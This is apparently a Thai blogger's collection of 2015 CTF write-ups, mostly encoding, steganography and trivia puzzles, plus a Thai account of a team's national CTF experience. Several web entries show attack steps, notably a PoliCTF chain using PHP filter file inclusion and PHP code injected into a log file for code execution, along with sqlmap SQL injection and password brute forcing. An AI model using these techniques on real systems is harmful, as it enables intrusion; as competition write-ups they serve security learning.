หน้าเว็บ

วันเสาร์ที่ 21 พฤศจิกายน พ.ศ. 2558

Hack Dat Kiwi 2015: Phone Lock (Web) Write-up

Description:
A friend of mine forgot her phone password. I told her you're the hacker! Go get 'em tiger.
Solution:



          It use Javascript to validate and I just write a python script to solve this below.




Flag: 98635f80048b8abbd71e9bb55958a6c8

วันพุธที่ 4 พฤศจิกายน พ.ศ. 2558

School CTF 2015: Meaningless Text (Stegano) Write-up

Description:
It is absolutely meaningless text, isn't it?
Solution: 

1. View-source in page, I think it just a pattern in <em></em> tag and get some word like "flag is not this line but you think right way"


2. View-source again and look at <e></e> tag, It have <e>one</e> and <e>zero</e>, yeah it is binary!!

3. Write a python script to solve this below.

Good job. :D

Flag: flag_is_this_is_a_simple_stego

School CTF 2015: Cipollino, little onion (Admin) Write-up

Description:
Do you like containers as we do?
Solution: 

1. Rename an extension from jpg to rar.



2. Get a QRCode.



3. Decode QRCode in https://zxing.org/w/decode.jspx, get a c++ code.


4. Compile and run in http://www.tutorialspoint.com/compile_cpp_online.php


5. Replace ", " to space and replace "0x" to space, get a hex and decode it got a base64.

4236342759534139494363334d4341334e6941324e5341334d5341354e5341334d5341304f4341324f4341354e5341324f4341324e5341334e7941334f4341354e5341324e6941344d6941304f4341354e5341344e5341354e5341344d6941354e5341344d7941304f4341354e5341324e7941304f4341304f4341334e6941354e5341324f4341324f5341324e7941344d6941344f5341344d4341344e4341334f5341344d69634b436d3168637a316258516f4b6257467a50574575633342736158516f4a79416e4b516f4b5a6d397949476b6761573467636d46755a32556f624756754b47316863796b704f676f4a596a3170626e516f6257467a57326c644b516f4a597a316f5a58676f59696b4b43584279615735304b474d73494756755a44306e4943637043677077636d6c756443676e4a796b3d27

B64'YSA9ICc3MCA3NiA2NSA3MSA5NSA3MSA0OCA2OCA5NSA2OCA2NSA3NyA3OCA5NSA2NiA4MiA0OCA5NSA4NSA5NSA4MiA5NSA4MyA0OCA5NSA2NyA0OCA0OCA3NiA5NSA2OCA2OSA2NyA4MiA4OSA4MCA4NCA3OSA4MicKCm1hcz1bXQoKbWFzPWEuc3BsaXQoJyAnKQoKZm9yIGkgaW4gcmFuZ2UobGVuKG1hcykpOgoJYj1pbnQobWFzW2ldKQoJYz1oZXgoYikKCXByaW50KGMsIGVuZD0nICcpCgpwcmludCgnJyk='

6. Base64 Decode and get python code and run it.

a = '70 76 65 71 95 71 48 68 95 68 65 77 78 95 66 82 48 95 85 95 82 95 83 48 95 67 48 48 76 95 68 69 67 82 89 80 84 79 82'

mas=[]

mas=a.split(' ')

for i in range(len(mas)):
b=int(mas[i])
c=hex(b)
print(c, end=' ')

print('')

7. Result from python code.

0x46 0x4c 0x41 0x47 0x5f 0x47 0x30 0x44 0x5f 0x44 0x41 0x4d 0x4e 0x5f 0x42 0x52 0x30 0x5f 0x55 0x5f 0x52 0x5f 0x53 0x30 0x5f 0x43 0x30 0x30 0x4c 0x5f 0x44 0x45 0x43 0x52 0x59 0x50 0x54 0x4f 0x52

8. HEX Decoding.

464c41475f4730445f44414d4e5f4252305f555f525f53305f4330304c5f444543525950544f52

Flag: FLAG_G0D_DAMN_BR0_U_R_S0_C00L_DECRYPTOR

School CTF 2015: Hunger games (Web) Write-up

Description:
Oh, that monkey is really annoying, can you feed it please?
Solution: 

1. A monkey want banana, but in a choice not have banana.


2. Send banana to monkey by Burp Suite. :3


Flag: l375_$7ar7_w3b_h4ck5

วันอาทิตย์ที่ 25 ตุลาคม พ.ศ. 2558

TUM CTF Teaser: webshop (Web) Write-up

Description:
Well, I found this shop and their offers are quite awesome, but something here smells... fishy. 1.ctf.link:1124
Solution: 

1. Access to http://1.ctf.link:1124 and look around, I found this site use free web template from freewebsitetemplates.com

2. Try view-source to find something interest but not found, I think it just a static website.

3. Found interest in search form that action to search.php.



4. It should be have a name="search" right? , but It have value="search" only.


5. Try to search and intercept request with Burp Suite, not found a value that I input to search. :)


6. Add search parameter to post request and copy all line to webshop.txt


7. Using sqlmap and -r option to Load HTTP request from a file and set -p "search" for inject to search parameter.



8. SQL Injection vulnerability found in search parameter!! try to find tables, columns, dump data and get the flag!


Flag: hxp{this_is_just_a_place_holder}

TUM CTF Teaser: neocities (Web) Write-up

Description:
So I hope you're well insured, because the nineties have sent us their best thing ever: bright colors and Comic Sans MS. Please end it before everyone dies due to internal bleedings. 1.ctf.link:1123
Solution: 

          Parameter page have vulnerable to Local File Disclosure.


Flag: hxp{the_nineties_called_they_want_their_design_back}

วันเสาร์ที่ 24 ตุลาคม พ.ศ. 2558

EKOPARTY CTF 2015: SCYTCRYPTO (Crypto) Write-up

Description:
Decrypt this strange word: ERTKSOOTCMCHYRAFYLIPL
Solution:

ERTKSOOTCMCHYRAFYLIPL
EKO{MYFI
_RT_SO_TC_CH_RA_YL_PL
EKO{MYFIRSTCRYP
__T__O__C__H__A__L__L
EKO{MYFIRSTCRYPTOCHALL}

Flag: EKO{MYFIRSTCRYPTOCHALL}

วันพุธที่ 14 ตุลาคม พ.ศ. 2558

ประสบการณ์ทีม null ในการแข่งขัน Thailand CTF Competition 2015



CTF WTF?


          CTF ย่อมาจาก Capture The Flag[1] เป็นการแข่งขันด้านความปลอดภัยคอมพิวเตอร์ ที่เห็นบ่อยๆ คือมี 2 ประเภทคือ Jeopardy แนวถามตอบแก้โจทย์ในข้อต่างๆ เพื่อให้ได้มาซึ่ง Flag หรือข้อความและเพื่อเป็นกุญแจที่ใช้เพื่อปลดล๊อคผ่านข้อนั้น ซึ่งแต่ละข้อก็จะมีคะแนน ตามระดับความยากง่ายของข้อนั้นๆ อยู่เช่นกัน โดยจะมีหลายรูปแบบตาม Category ในหลายๆ ด้าน อีกประเภทคือ Attack-Defense การแข่งขันด้านความปลอดภัยคอมพิวเตอร์ในการเจาะระบบเชิงรุกและเชิงรับ กล่าวคือแฮกเครื่องคนอื่น เพื่อให้ได้มาซึ่ง Flag ในขณะเดียวกันก็ต้องป้องกันเครื่องตัวเองจากการถูกแฮกเช่นกัน รายละเอียดเพิ่มเติมดูได้ตามวีดีโอนี้ครับ[2]


Beside the point


          ส่วนตัวผมก็เล่น CTF อยู่บ่อยๆ เพราะติดตามงานแข่งใน https://ctftime.org/ ถ้ามีเวลา และทุกครั้งที่เล่นจะเขียน Write-up หรือเฉลยบางข้อเป็นภาษาอังกฤษไว้ในบล๊อกนี้[3]
          ครั้งนี้เป็นการแข่งแฮกครั้งที่ 2 ของผม ครั้งแรกนั้นแข่งของ FITWHEY[4] แข่งแฮกเว็บแต่ไม่เจอเว็บให้แฮกเลย เจอแต่เครื่องของผู้เข้าแข่งขันคนอื่น กำ

Member of null team


- ผมหนุ่ม (icheernoom)
- น้องพี (pe3z)
- นัย (ziperz)


Qualification Round (Online)


          เริ่มแข่งขันรอบ Online วันที่ 5 กันยายน เวลา 11.00 นัดกันว่าจะไปเล่นกันที่ร้าน NE8T แต่นัยไม่สบายเลยขอนั่งทำโจทย์อยู่ที่ห้อง และติดต่อกันผ่าน Facebook Group Chat ผมนั่งอยู่ร้าน NE8T กับน้องพีสั่งอะไรมากินกันได้ password wifi มาหาที่นั่งใกล้ๆปลั๊กไฟ ตั้งคอมฯได้ จนถึงเริ่มแข่งมีปัญหาในการ Login เล็กน้อยเลยโทรไปหาเพื่อเปลี่ยนรหัสผ่าน จึงทำให้สามารถเข้าแข่งขันได้ จากนั้นก็ได้เขียนสิ่งที่ทำลงใน Google Docs เพื่อแชร์กันว่าใครทำอะไรไปบ้างแล้ว จากนั้นก็ช่วยๆ กันทำโจทย์เรื่อยๆ มาติดปัญหาข้อรูป ที่แก้ file signature หรือ magic number ให้เป็น jpg เปิดรูปมาเอาไป Google image search เจอสถานที่ตอบ Colorado State Capitol ก็ตอบผิดจนไม่รู้จะตอบอะไรแล้ว orz แต่ก็ยังไม่รู้ว่าเฉลยคืออะไรกันแน่ น้องพีเปิดด้วยข้อที่เป็นไฟล์เสียง ผมจัดข้อที่เป็น Web ข้อเดียว ส่วนข้อดู Access Log ที่ Flag เป็น sha256 ของ timestamp ที่ upload shell เข้าไปที่ Server ได้ พอเจอ timestamp ที่คิดว่าใช่ จึงเอาไปเข้าเว็บ sha256 แล้วตอบยังไงก็ผิด คิดว่าน่าจะเป็นที่เว็บ พอเปลี่ยนเว็บที่ใช้เข้า sha256 ตอบได้เลย จำไม่ได้แล้วว่าเว็บไหน -..- ทางนัยก็แงะข้อที่มี 2 flag มา concat กันและข้ออื่นๆ ช่วยๆกันทำ ระหว่างแข่งขันน้องพีบอกอยากขึ้นไปต่อท้ายทีม Pwnladin ซึ่งผมก็อยากทำอยู่นะ แต่ก็พยายามกันเต็มที่แล้ว ขึ้นไม่ไหว ฮาๆ
          ผมและน้องพีอยู่ร้าน NE8T ถึงประมาณ 2 ทุ่มจึงแยกย้ายกันกลับ แต่น้องพีรู้สึกจะกลับไปทำต่อจนแก้โจทย์ได้อีกประมาณ 2 ข้อ ไม่ได้นอน ส่วนผมกลับไปนอนและตื่นมาทำตอน 7 โมงจนหมดเวลาแต่ก็ไม่ได้มีข้อที่ทำได้เพิ่มจนเวลาล่วงเลยมาถึง 11.00 ของวันที่ 6 กันยายน หมดเวลาการแข่งขันรอบ Online
          จบการแข่งขันด้วยคะแนน 950 คะแนนเป็นอันดับที่ 7 จาก 8 ทีมเกือบไม่ผ่านรอบแรก จากนั้นไม่นานก็มี Email มาให้เรายืนยันตัว และนัดวันที่จะ Skype กับทีมงาน ThaiCERT พอถึงเวลากลายเป็นใช้ Google Hangout แทนเพราะมีปัญหาในการใช้งานของ Skype


Final Round (Onsite)


          บ่ายวันที่ 4 ตุลาคม วันอาทิตย์ไปนั่งประชุมทีม null กันที่พักโรงแรมห้อง 2022 เพราะ check-in ได้แล้ว และมีพี่ทีมงานคอยต้อนรับอยู่ ตอนแรกไม่รู้ว่าโจทย์เป็น Jeopardy แนวถามตอบ นึกว่าเป็น Attack-Defense ก่อนหน้านั้นเห็น Email จากทีมงานว่า Require VMware กับ DVD Drive ซึ่งเครื่องผมกับนัย ไม่มี DVD Drive จึงโทรไปสอบถามทางทีมงาน จึงได้คำตอบว่าไม่มีก็ไม่เป็นไร เห็น Require ขอ VMware เลยนึกว่าเป็นแนวที่ให้ VM Image มาแล้วแกะหา Flag ไปเรื่อยๆ ทุกคนจึงอ่านแต่ Write-up ของ Vulnhub ซึ่งเป็น CTF ที่ให้ VMware มาก้อนหนึ่งเปิดขึ้นมาแล้วก็ทำยังไงก็ได้ให้ได้มาซึ่ง Flag ซึ่งจากที่อ่านต้อง root เครื่องทั้งนั้น พอมารู้ทีหลังว่าเป็นการแข่งขันแบบ Jeopardy เลยโล่งใจขึ้นมาหน่อย ฮา ทุกคนเลยมานั่งอ่าน SECCON CTF 2014 Write-up กันอย่างเมามันส์



          เช้าวันที่ 5 ตุลาคมทางทีมงานก็บรีฟให้ฟังว่าพรุ่งนี้ต้องทำอะไรบ้าง มีกิจกรรมอะไรบ้าง และแนะนำทีมงาน SECCON ที่มาออกแบบโจทย์ให้และบอกว่าอย่าเพิ่ง Write-up เพราะจะใช้โจทย์นี้กับอีก 3 หรือ 4 ประเทศนี่แหละผมฟังไม่ชัดเขาพูดภาษาอังกฤษสำเนียงญี่ปุ่น โดยส่วนตัวผมก็เคยเข้าร่วมการแข่งขัน SECCON CTF 2014 ในรอบ Online และเขียน Write-up ไว้[5] จากนั้นตอนบ่ายก็ประชุมทีม เตรียมเครื่องมือและโปรแกรม ก็มีการถามในทีมว่ามี Kali ไหม มี Burp suite ไหม มี wordlist สำหรับ Brute force ไหม ฯลฯ ซึ่งก็มีกันทุกคน  โดยในช่วงเที่ยงที่ผ่านมาทางทีมงานมีเสื้อฟรีให้ที่บอกไซต์ไปตั้งแต่ยืนยันตัวตนและมีอาหารมาให้ซึ่งเป็นโออิชิอะไรสักอย่างจำไม่ได้แต่น่าจะแพง กินเสร็จก็นั่งอ่าน Write-up ที่คิดว่าน่าจะมีแนวว่าอาจจะเจอในโจทย์วันพรุ่งนี้ และแชร์ Write-up จากงานอื่นๆ ที่ตัวเองคิดว่าน่าสนใจกับสมาชิกคนอื่นๆ ในทีม


          เช้าวันที่ 6 ตุลาคมเป็นวันแข่งที่ The 9th Towers ตอนเช้าก็เข้าร่วมพิธีการเปิดงาน Security Health Check Day และการแข่งขันก็ถูกจัดอยู่อีกห้องหนึ่ง การแข่งขันเริ่มขึ้นเวลาประมาณ 10.00 น. มีโต๊ะให้นั่งเป็นโต๊ะกลม นั่งเหมือนล้อมวงกัน ตอนนั้นตื่นเต้นมากๆ หิวข้าวด้วยเพราะกินไปแค่นมกับขนมปัง กว่าจะได้กินก็ตอนแข่งเสร็จ กินพิซซ่า
          เริ่มการแข่งขัน ทางทีมงานมีสายแลนให้คนละเส้น เสียบแล้วได้ IP เลยเพราะเป็น DHCP หลังจากได้ IP มาก็เข้าเว็บที่ทางทีมงานจัดเตรียมไว้ให้ ผมเล่นบน VMware 2 ตัวคือ Ubuntu ที่ใช้อยู่ปกติและ Kali 2.0 ที่เตรียมมาสำหรับงานนี้โดยเฉพาะ เลยตั้งค่า Network Adapter เป็นแบบ Bridged connection ออกไปหา Network ข้างนอก
          พอเริ่มทำไปสักพักส่วนมากผมจะทำข้อ Web ก็ได้ตกลงกันว่าเจอโจทย์ข้อ Web เดี๋ยวผมจัดเอง ส่วนนัยจะเน้นทำข้อที่เกี่ยวกับ Network และน้องพีจะเน้นทำ Forensic, Binary ซึ่งโจทย์รอบ Final ดูจะง่ายกว่าโจทย์รอบ Qualification ความยาก-ง่ายของโจทย์ทั้งสองรอบนั้นแปรผกผันกับเวลา เพราะถ้ายากเกินไปอาจจะทำไม่ทัน โดยโจทย์ไม่ได้เปิดหมด ครั้งแรกที่เห็นโจทย์มีประมาณ 10 ข้อและค่อยๆ มาทีละประมาณ 5 ข้อจนครบ 29 ข้อโดยทีมงานจะเดินมาบอกว่ามีโจทย์ใหม่แล้วนะ (คนญี่ปุ่น) มีคะแนนพิเศษสำหรับทีมที่ตอบได้ทีมแรกโดยจะได้คะแนน 1% ของคะแนนข้อนั้น เช่น ถ้าทีมไหนตอบข้อ 100 คะแนนได้ทีมแรกจะได้ คะแนนพิเศษ 1 คะแนน 200 คะแนนได้ 2 คะแนน เป็นต้น ซึ่งในทีมไม่มีใครตอบแล้วได้คะแนนพิเศษเลย เพราะไม่ทันทีมอื่น ถถถ -*- ระหว่างที่แข่งก็เห็น Scoreboard เคลื่อนไหวตลอดเวลา ทำให้ตื่นเต้นเข้าไปอีก คะแนนของทีม null ก็ขึ้นไปสูงสุดได้ที่ 2 ต่อท้าย Pwnladin ในช่วงแรกๆ จากนั้นร่วงรัวๆ 555
          จบการแข่งขันด้วยการแก้โจทย์ได้ 23 ข้อ ได้คะแนนไป 2710 คะแนน เป็นอันดับที่ 5 จาก 8 ทีมครับ


Questions Solved by null team



After Competition


          หลังจากเสร็จสิ้นการแข่งขันก็มีการมอบรางวัลก็จะมีรางวัลชนะเลิศเป็นทีม Pwnladin และรองชนะเลิศเป็นทีม asdfghjkl ส่วนทีม null ได้รางวัลชมเชยครับ ก็ได้เป็นเกียรติบัตร และเงินรางวัล 10,000 บาท หลังจากนั้นก็มี party มีอาหารให้ทาน หรูมากเช่นกัน พี่ที่เป็นพิธีกรฮามาก มีให้เล่นแนะนำตัวกันระหว่าง 8 ทีมที่เข้าร่วมการแข่งขัน จำชื่อให้ได้ให้ครบเกือบ 24 คน

Summary


          ขอบคุณ ThaiCERT, ETDA และ SECCON มากๆ ครับ ที่จัดการแข่งขันที่สนุกๆ แบบนี้ ถ้าปีหน้าจัดอีกก็จะลงแข่งอีกแน่นอน และขอแสดงความยินดีกับทีม Pwnladin และทีม asdfghjkl ที่ได้เป็นตัวแทนของประเทศไทย ไปแข่งต่อในงาน Cyber SEA Game ที่ประเทศอินโดนิเซียครับ

Reference


1. CTF? WTF?
2. แข่งแฮก CTF คืออะไร
3. http://icheernoom.blogspot.com/search/label/ctf
4. My first web security contest (FITWHEY + HyperHackathon)
5. SECCON CTF 2014

วันเสาร์ที่ 3 ตุลาคม พ.ศ. 2558

D-CTF 2015: She said it doesn't matter (Misc) Write-up

Description:
Void. Empty. Null.
Solution:

1. Download m100.png and open it with default Image viewer, I found IHDR CRC error?


2. Check m100.png using pngcheck and result below
root@ubuntu:~# pngcheck -v m100.png 
File: m100.png (65141 bytes)
  chunk IHDR at offset 0x0000c, length 13
    666 x 519 image, 32-bit RGB+alpha, non-interlaced
  CRC error in chunk IHDR (computed 3ff4fc62, expected 35468913)

3. Try to change IHDR value from 35468913 to 3ff4fc62 in HexEd.it online hex editor.

Default value:


After change value:


Export to view



I think it may be enough, but not have flag. :(

4. Try to change Image Height value from 519 (207) to 550 (226), Decimal to Hex :)

Default value:


After change value and export to m100_fixsize.png.



5. Check m100_fixsize.png using pngcheck again and result below
root@ubuntu:~# pngcheck -v m100_fixsize.png
File: m100_fixsize.png (65141 bytes)
  chunk IHDR at offset 0x0000c, length 13
    666 x 550 image, 32-bit RGB+alpha, non-interlaced
  CRC error in chunk IHDR (computed f3042af1, expected 3ff4fc62)
ERRORS DETECTED in m100_fixsize.png

6. Try to change IHDR value from 3ff4fc62 to f3042af1 in HexEd.it online hex editor again.

After change value:


Export to view and get a flag :D


Flag: s1z3_d03s_ma773r_baby

วันจันทร์ที่ 21 กันยายน พ.ศ. 2558

CSAW CTF 2015: Trivia 1-6 (Trivia) Write-up



Challenge: Trivia 1
Description:
This family of malware has gained notoriety after anti-virus and threat intelligence companies claimed that it was being used by several Chinese military groups.
Solution: http://www.esecurityplanet.com/malware/report-plugx-is-rat-of-choice-for-nation-states.html
Flag: PlugX

Challenge: Trivia 2
Description:
No More Free __!
Solution: http://www.zdnet.com/article/no-more-free-bugs-there-never-were-any-free-bugs/
Flag: Bugs

Challenge: Trivia 3
Description:
This mode on x86 is generally referred to as ring -2.
Solution: https://en.wikipedia.org/wiki/System_Management_Mode
Flag: SMM

Challenge: Trivia 4
Description:
This vulnerability occurs when the incorrect timing/sequence of events may cause a bug.
Solution: https://en.wikipedia.org/wiki/Race_condition
Flag: Race condition

Challenge: Trivia 5
Description:
On Windows, loading a library and having it's code run in another process is called _ .
Solution: https://en.wikipedia.org/wiki/DLL_injection
Flag: DLL injection

Challenge: Math aside, we're all black hats Now
Description:
This Pentesting expert supplied HBO's Silicon Valley with technical advice in season 2. The flag is his twitter handle.
Solution: https://www.linkedin.com/in/mubix
Flag: mubix

วันอาทิตย์ที่ 12 กรกฎาคม พ.ศ. 2558

PoliCTF 2015: Magic Chall (Web) Write-up

Description:
I visit this website when I'm sad, contains many magical things that help me to find the solution. Focused on  your problem and find "the magic thing" that will help you to solve it.
Solution:

1. Go to http://magic.polictf.it/index.php?page=register, and I try Local File Inclusion in "page" parameter with base64 encode php filter.
Ex. http://magic.polictf.it/index.php?page=php://filter/convert.base64-encode/resource=index, and read all php file.



2. /index.php file. 
if(isset($_POST["login"])){
 if(isset($_POST["username"]) && isset($_POST["password"]) && !is_array($_POST["username"]) && !is_array($_POST["password"])){
  $user = new User($_POST["username"], $_POST["password"]);
  $login = $user -> login();
  if($login){
   $logger = new Logger(gethostbyaddr($_SERVER["REMOTE_ADDR"]), $user);
   $logger -> log_access();
   header("Location: magic_things.php");
  }
 }
}
gethostbyaddr function *0*, I go to http://ipinfo.io/ and get my hostname. :)

3. /classes/logger/logger.php, in __construct I see...
 public function __construct($host, $user){
  $this -> host = $host;
  $this -> filename = $_SERVER["DOCUMENT_ROOT"]."log/" . $host . "_" . $user->getSurname();
  $this -> user = $user;
  date_default_timezone_set("UTC");
 } 
log_access() function and initLogFile() function have fwrite to write log file. It mean in /log folder have a log file name will concat my hostname and underscore and surname (in register)
Ex. http://magic.polictf.it/log/ppp-127.0.0.1.revip8.asianet.co.th_surname

I can write file :D

4. back to index.php
  <div id="content">
   <?php 
    include($page.".php");
   ?>
  </div>
include function can be execute php code!!
in "surname" field I set to name.php.

5. In "name" and "surname" field I can set to php code. Ex. <?php phpinfo(); ?>, and I select to set php code in "name" field.
 public function log_access(){
  $active = $this -> user -> isActive();
  if(!$active){
   $this -> initLogFile();
  }
  $fo = fopen($this -> filename, 'a');
  if($fo){
   $write = fwrite($fo, date('l jS \of F Y h:i:s A') . " - " . $this -> user -> getUsername() .": log in success\n");
   fclose($fo);
   if($write)
    return true;
   else
    return false;
  }
 }
 
 public function initLogFile(){
  $fo = fopen($this -> filename, 'w+');
  if($fo){
   $write = fwrite($fo, "name|".$this -> user -> getName().";surname|".$this->user->getSurname().";date_creation|UTC:".date('l jS \of F Y h:i:s A')."\n");//write header in logfile.
   fclose($fo);
   if($write){
    $this -> user -> setActiveBit(1);
    return true;
   }
   else
    return false;
  }
 }
6. In /classes/magic/magic.php, I just LFI to Remote code execution to call __call function.
 public function __call($iveNeverSeenAnythingSoMagical, $magicArguments) {
  $mysqli = new mysqli("localhost", "magic", "nrqdUz4PMKNFZ7iphnzE", "magicchall");
  $stmt = $mysqli->prepare("SELECT word FROM magic_word");
  $stmt -> execute();
  $stmt -> store_result();
  $stmt -> bind_result($magic_word);
  $stmt -> fetch();
  echo "I THINK THIS IS THE VERY MAGIC THING: " . $magic_word;
  session_destroy();
 }

Exploitation:

Step 1: Register - http://magic.polictf.it/index.php?page=register

Name: <?php $magic = new Magic(); $magic->__call(); ?>
Surname: icheernoom.php
User: icheernoom
Password: icheernoom

Step 2: Login - http://magic.polictf.it/index.php?page=login

User: icheernoom
Password: icheernoom

Step 3: Access to http://magic.polictf.it/index.php?page=log/ppp-127.0.0.1.revip8.asianet.co.th_icheernoom

Get a flag!
  <div id="content">
   name|I THINK THIS IS THE VERY MAGIC THING: flag{session_regenerate_id()_is_a_very_cool_function_use_it_whenever_you_happen_to_use_session_start()};surname|icheernoom.php;date_creation|UTC:Saturday 11th of July 2015 06:52:15 PM
Saturday 11th of July 2015 06:52:15 PM - icheernoom: log in success
  </div>
My Automate Script:


Explorer:



and more...

Flag: flag{session_regenerate_id()_is_a_very_cool_function_use_it_whenever_you_happen_to_use_session_start()}

วันเสาร์ที่ 25 เมษายน พ.ศ. 2558

CAMSCTF CCTF 2015: Web B (Exploitation) Write-up

Description:
"Time is what we want most, but what we use worst." - William Penn
Solution:

          Target: http://web.camsctf.com/b/



          Intercept http request with Burp Suite.


          debug=0 ?, try to change debug to 1


          Base64 decode and get a start time and end time.


          "Time", then I see this word, I think It must about Side-channel attack, and my solution below.

          password=uHH>nN#)[Ks5v:E&debug=1 to get the flag. :D

Flag: {how_many_microseconds_did_i_waste_solving_this_0ne}

CAMSCTF CCTF 2015: Python 2 (Programming) Write-up

Description:
1.) Take the RGB value of every pixel in one image.(Start at (0,0). Move down to (0,299). Go to (1,0). Move to (1,299). And so on. Read the files in numerical order.)
2.) Add all of the R values, G values, and B values in each image. (Have one R sum, one B sum, one G sum for every image.)
3.) Take these sums and convert them into strings. Take the MD5 hash of each string.
4.) Concatenate these MD5 hashes into one string.
5.) Take the MD5 hash of the new string.
6.) Do this for every image and concatenate the final MD5 hashes into one string. (Image 1 final hash + Image 2 final hash + ...)
7.) Take the MD5 of this string to get the flag.
PIL.zip

Solution: 

Flag: 2d98c27f040ce429b35dd84124397f65

CAMSCTF CCTF 2015: Web 2 (Exploitation) Write-up

Description: 
You're probably thinking too hard about this.
Hint:
Remember that time when you guessed the admin password? Yeah.
Solution:
          Target: http://web.camsctf.com/2/ OK, Brute force time was begin. :D, Open Burp Suite and Intercept HTTP Request and send to Intruder tab with wordlist.


          password=letmein

Flag: {still_b3tter_than_princess}

CAMSCTF CCTF 2015: Excel Data (Forensics) Write-up

Description:
Ever wonder why your homework gets corrupted so easily?
Solution: 
          Forensic challenge, In basically I try strings and grep command to find something. xD
root@ubuntu:~# file excel_data.xlsx 
excel_data.xlsx: Zip archive data, at least v1.0 to extract
root@ubuntu:~# strings excel_data.xlsx | grep "flag"
xl/charts/flag.txt
xl/charts/flag.txt
root@ubuntu:~# mv excel_data.xlsx excel_data.zip
root@ubuntu:~# unzip excel_data.zip 
Archive:  excel_data.zip
   creating: docProps/
  inflating: docProps/app.xml        
  inflating: docProps/core.xml       
   creating: xl/
  inflating: xl/calcChain.xml        
   creating: xl/charts/
  inflating: xl/charts/chart1.xml    
  inflating: xl/charts/chart2.xml    
  inflating: xl/charts/flag.txt      
   creating: xl/drawings/
  inflating: xl/drawings/drawing1.xml  
  inflating: xl/drawings/drawing2.xml  
   creating: xl/drawings/_rels/
  inflating: xl/drawings/_rels/drawing1.xml.rels  
  inflating: xl/drawings/_rels/drawing2.xml.rels  
  inflating: xl/sharedStrings.xml    
  inflating: xl/styles.xml           
   creating: xl/theme/
  inflating: xl/theme/theme1.xml     
  inflating: xl/workbook.xml         
   creating: xl/worksheets/
  inflating: xl/worksheets/sheet1.xml  
  inflating: xl/worksheets/sheet2.xml  
  inflating: xl/worksheets/sheet3.xml  
  inflating: xl/worksheets/sheet4.xml  
   creating: xl/worksheets/_rels/
  inflating: xl/worksheets/_rels/sheet2.xml.rels  
  inflating: xl/worksheets/_rels/sheet3.xml.rels  
   creating: xl/_rels/
  inflating: xl/_rels/workbook.xml.rels  
  inflating: [Content_Types].xml     
   creating: _rels/
  inflating: _rels/.rels             
root@ubuntu:~# cat xl/charts/flag.txt 
{iT's_r1gh7_h3r3}
root@ubuntu:~#

Flag: {iT's_r1gh7_h3r3}

CAMSCTF CCTF 2015: Trivia 1-5 (Recon) Write-up

Challenge: Trivia 1
Description:
What is Microsoft's code name for their new internet browser?
Solution: http://en.wikipedia.org/wiki/List_of_Microsoft_codenames
Flag: Spartan

Challenge: Trivia 2
Description:
What is arguably the smallest Linux distribution with a GUI that is still being developed?
Solution: http://www.junauza.com/2011/07/5-tiniest-linux-distributions-for-your.html
Flag: Tiny Core Linux

Challenge: Trivia 3
Description:
As of 2014, how many terabytes of data has Google Inc. indexed? Answer in form of an integer followed by the unit.
Solution: http://www.websitemagazine.com/content/blogs/posts/archive/2014/07/22/do-you-know-how-big-the-internet-really-is-infographic.aspx
Flag: 200 terabytes

Challenge: Trivia 4
Description:
What is the official fastest clock speed of any computer?
Solution: http://en.wikipedia.org/wiki/Clock_rate
Flag: 8.805 GHz

Challenge: Trivia 5
Description:
Which OS is most popular for the Raspberry Pi?
Solution: http://www.linuxuser.co.uk/reviews/top-4-raspberry-pi-os
Flag: Raspbian

วันพฤหัสบดีที่ 12 มีนาคม พ.ศ. 2558

n00bs CTF Labs by Infosec Institute Write-up


Level 1

root@ubuntu:~# curl -s http://ctf.infosecinstitute.com/levelone.php | grep flag
<!-- infosec_flagis_welcome -->
root@ubuntu:~#
Flag: infosec_flagis_welcome

Level 2

root@ubuntu:~# wget http://ctf.infosecinstitute.com/img/leveltwo.jpeg
...[snip]...

2015-03-12 11:26:51 (1.03 MB/s) - ‘leveltwo.jpeg’ saved [45/45]

root@ubuntu:~# file leveltwo.jpeg
leveltwo.jpeg: ASCII text
root@ubuntu:~# cat leveltwo.jpeg
aW5mb3NlY19mbGFnaXNfd2VhcmVqdXN0c3RhcnRpbmc=
root@ubuntu:~# echo aW5mb3NlY19mbGFnaXNfd2VhcmVqdXN0c3RhcnRpbmc= | base64 --decode
infosec_flagis_wearejuststarting
root@ubuntu:~#
Flag: infosec_flagis_wearejuststarting

Level 3

Paste URL of QRCODE Image to http://zxing.org/w/decode.jspx and result as morse code
.. -. ..-. --- ... . -.-. ..-. .-.. .- --. .. ... -- --- .-. ... .. -. --.
Go to morse code decoder online http://morsecode.scphillips.com/translator.html
Flag: INFOSECFLAGISMORSING

Level 4

HTTP Header of http://ctf.infosecinstitute.com/levelfour.php
See in Set-Cookie:fusrodah=vasbfrp_syntvf_jrybirpbbxvrf Rot13 ?
Go to http://www.rot13.com/index.php and decode it.
Flag: infosec_flagis_welovecookies

Level 6

Open sharefin.pcap with wireshark
Statistics > Conversation > UDP
Follow UDP Stream and found 696e666f7365635f666c616769735f736e6966666564
Hex to character
Flag: infosec_flagis_sniffed

Level 7

Status code of http://ctf.infosecinstitute.com/levelseven.php

root@ubuntu:~# echo aW5mb3NlY19mbGFnaXNfeW91Zm91bmRpdA== | base64 --decode
infosec_flagis_youfoundit
root@ubuntu:~#
Flag: infosec_flagis_youfoundit

Level 8

root@ubuntu:~# strings app.exe | grep infosec
infosec_flagis_0x1a
# Welcome to infosec institute net app v1.0#
root@ubuntu:~#
Flag: infosec_flagis_0x1a

Level 9

username: root , password: attack
root@ubuntu:~# echo "ssaptluafed_sigalf_cesofni" | rev
infosec_flagis_defaultpass
root@ubuntu:~#
Flag: infosec_flagis_defaultpass

Level 11

root@ubuntu:~# wget http://ctf.infosecinstitute.com/img/php-logo-virus.jpg
...[snip]...

2015-03-12 15:01:37 (86.3 MB/s) - ‘php-logo-virus.jpg’ saved [13791/13791]

root@ubuntu:~# strings php-logo-virus.jpg | grep flag
infosec_flagis_aHR0cDovL3d3dy5yb2xsZXJza2kuY28udWsvaW1hZ2VzYi9wb3dlcnNsaWRlX2xvZ29fbGFyZ2UuZ2lm
root@ubuntu:~# echo aHR0cDovL3d3dy5yb2xsZXJza2kuY28udWsvaW1hZ2VzYi9wb3dlcnNsaWRlX2xvZ29fbGFyZ2UuZ2lm | base64 --decode
http://www.rollerski.co.uk/imagesb/powerslide_logo_large.gif
root@ubuntu:~#
Flag: infosec_flagis_powerslide

Level 13

1. /levelthirteen.php.old
2. Download  <a href="misc/imadecoy"> open with wireshark
3. File > Export object > HTTP > HoneyPY.png
Flag: infosec_flagis_morepackets

Level 14

Directory listing in /misc/ and found level14.db

root@ubuntu:~# cat level14.db
